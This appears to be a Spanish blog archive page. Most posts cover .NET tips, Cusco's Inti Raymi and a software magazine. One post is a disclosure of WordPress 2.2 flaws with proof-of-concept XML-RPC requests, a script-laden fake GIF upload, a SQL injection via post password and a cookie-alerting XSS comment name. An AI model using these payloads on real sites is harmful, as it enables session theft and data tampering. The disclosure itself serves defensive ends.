Categories
.NET Miniposts

Lecturas recomendadas sobre .NET

Algunos enlaces con información variada sobre .NET:

Categories
Perú

Cusco

Disculpen el off-topic, pero hoy es el aniversario de mi pueblo 🙂

Plaza de Armas de Cusco
Plaza de Armas de Cusco (fuente)

Para quienes no conozcan este lugar, hoy también se realiza el tradicional Inti Raymi (Fiesta del Sol) en la fortaleza de Sacsayhuamán:

Ceremonia del Inti Raymi
Ceremonia del Inti Raymi en Sacsayhuamán (fuente)

Cusco los espera con los brazos abiertos si algún día se animan venir 😉

Categories
Sql Injection Web WordPress XSS

XSS, SQL Injection, Arbitrary File Upload en WordPress

A los dos problemas de seguridad que reporté previamente en WordPress 2.2, se suman otros cuatro que en su mayoría afectan a aquellos blogs que dejan registrar a usuarios (como colaboradores). En vista de que en realidad muchos blogs -- al menos de los que conozco -- tienen esta opción deshabilitada, el radio de acción no es tan grande; sin embargo, estos mismos bugs en páginas que ofrecen blogs gratis basados en WordPress MU, corren mucho riesgo.

  1. XSS: WordPress permite subir sólo cierto tipo de archivos, los cuales son validados en base a la extensión del archivo (ver función wp_check_filetype en wp-includes/functions.php), como no existe ningún proceso que valide el contenido de esos archivos, es posible que éstos puedan contener código javascript incrustado en éste. Por ejemplo, si se hace la siguiente petición a xmlrpc.php:

    code:

    POST /xmlrpc.php HTTP/1.1
    Content-Type: text/plain
    Host: vulnerable.com
    Content-Length: 458

    <methodCall>
            <methodName>wp.uploadFile</methodName>
            <params>
            <param><value>1</value></param>
            <param><value>user</value></param>
            <param><value>password</value></param>
                    <struct>
                            <member><name>name</name><value>demo.gif</value></member>
                            <member><name>type</name><value>image/gif</value></member>
                            <member><name>bits</name><value><![CDATA[<script>alert(document.cookie)</script>]]></value></member>
                    </struct>
            </params>
    </methodCall>

    Puesto que a Internet Explorer le gusta facilitar los ataques XSS, si alguien accede con este navegador a http://victima.com/wp-content/uploads/año/mes/demo.gif, se mostrará un mensaje mostrando las cookies de ese usuario.

  2. SQL Injection: Este problema se presenta en la función mw_editPost de xmlrpc.php, debido a que no escapa los parámetros en el orden adecuado, si revisan el código de esa función, van a encontrar algo parecido a:

    php:

    postdata = wp_get_single_post($post_ID, ARRAY_A);

    // If there is no post data for the give post id, stop
    // now and return an error.  Other wise a new post will be
    // created (which was the old behavior).
    if(empty($postdata["ID"])) {
            return(new IXR_Error(404, __("Invalid post id.")));
    }

    extract($postdata);
    $this->escape($postdata);

    Gracias a este pequeño error, es posible realizar un ataque de inyección de SQL usando el campo post_password (20 caracteres). La siguiente prueba de concepto actualizará todas las entradas con el título foo:

    • Crear una nueva entrada y asignarle como contraseña: '/*
    • Realizar la siguiente petición a xmlrpc.php.
      code:

      POST /wp/xmlrpc.php HTTP/1.1
      User-Agent: Fiddler
      Host: localhost
      Content-Length: 390

      <methodCall>
         <methodName>blogger.newPost</methodName>
         <params>
           <param><value>0</value></param>
           <param><value>0</value></param>
           <param><value>alex</value></param>
           <param><value>1234</value></param>
           <struct>
               <member><name>title</name><value>foo</value></member>
           </struct>
           <param><value>0</value></param>
         </params>
      </methodCall>

    Don't try it at home.

  3. Arbitrary File Upload: Este sin duda es el más grave de todos porque permite a un atacante subir cualquier tipo de archivos, más adelante publicaré los detalles.

  4. XSS: Este bug se basa en lo que comentábamos el otro día sobre XSS y las peculiaridades de los navegadores, están afectadas casi todas las páginas que hacen uso de la función js_escape. Por ejemplo, pueden reproducir el problema en wp-admin/edit-comments.php:

    • Hacer un comentario en alguna entrada y poner como nombre &#x27;)||alert(document.cookie)//
    • Intentar eliminar o marcar como spam ese comentario.

Según la respuesta de uno de los desarrolladores de WordPress, la solución para el primer problema se va a postergar hasta la salida de la versión 2.2.2.

Dado que son varios los cambios que hay que hacer para estar un poco más seguros, les recomiendo que actualicen por lo menos a la versión 2.2.1* ó 2.0.11 para los que todavía sigan en la rama 2.0.

*: durante la edición de esta entrada se reportó otros pequeños problemas de SQL Injection. 😉
Disculpen por el título amarillista, no se me ocurrió otra cosa. 😀

Categories
.NET

Tip: Detectar el estado de la red con .NET

Una forma sencilla de detectar el estado de las interfaces de red:

csharp:

using System;
using System.Net.NetworkInformation;

namespace Examples.Net.AddressChanges
{
    public class NetworkingExample
    {
        public static void Main()
        {
            NetworkChange.NetworkAddressChanged += new
                NetworkAddressChangedEventHandler(AddressChangedCallback);
            NetworkChange.NetworkAvailabilityChanged += new
                NetworkAvailabilityChangedEventHandler(NetworkChange_NetworkAvailabilityChanged);
            Console.ReadLine();
        }

        static void NetworkChange_NetworkAvailabilityChanged(object sender, NetworkAvailabilityEventArgs e)
        {
            Console.WriteLine(e.IsAvailable);
        }
        static void AddressChangedCallback(object sender, EventArgs e)
        {
            NetworkInterface[] adapters = NetworkInterface.GetAllNetworkInterfaces();
            foreach (NetworkInterface adapter in adapters)
            {
                Console.WriteLine("   {0} is {1}", adapter.Name, adapter.OperationalStatus);
            }
        }
    }
}

Tomé el ejemplo de la documentación por si algún día necesito hacer algo parecido. 😀

Categories
Arquitectura Software Microsoft Recursos Web

Edición #12 de Architechture Journal

Para los interesados, ya está disponible la edición número 12 (EN) de esta interesante revista denominada The Architecture Journal. Los temas para este número son:

  • Web 2.0 in the Enterprise
  • Eficient Software Delivery through Service Delivery Platforms
  • Secure Cross-Domain Communication in the Browser
  • An Application-Oriented Model for Relational Data
  • Architechture Journal Profile: Pat Helland
  • Data Confidence Over the Web
  • Managed Add-Ins: Advanced Versioning and Reliable Hosting

El artículo "Secure Cross-Domain Communication in the Browser" es una lectura interesante para desarrollares web, porque muestra una alternativa para saltar las restricciones de seguridad impuestas por los navegadores (cross-domain policy) y realizar la comunicación en 2 vías entre diferentes dominios usando elementos iframe. En el artículo se afirma que este método es seguro, sin embargo tengo dudas acerca de esa afirmación :).

Si desean los contenidos de esta revista en español, al parecer van a tener que esperar un poco más porque la última traducción disponible es de la edición #11.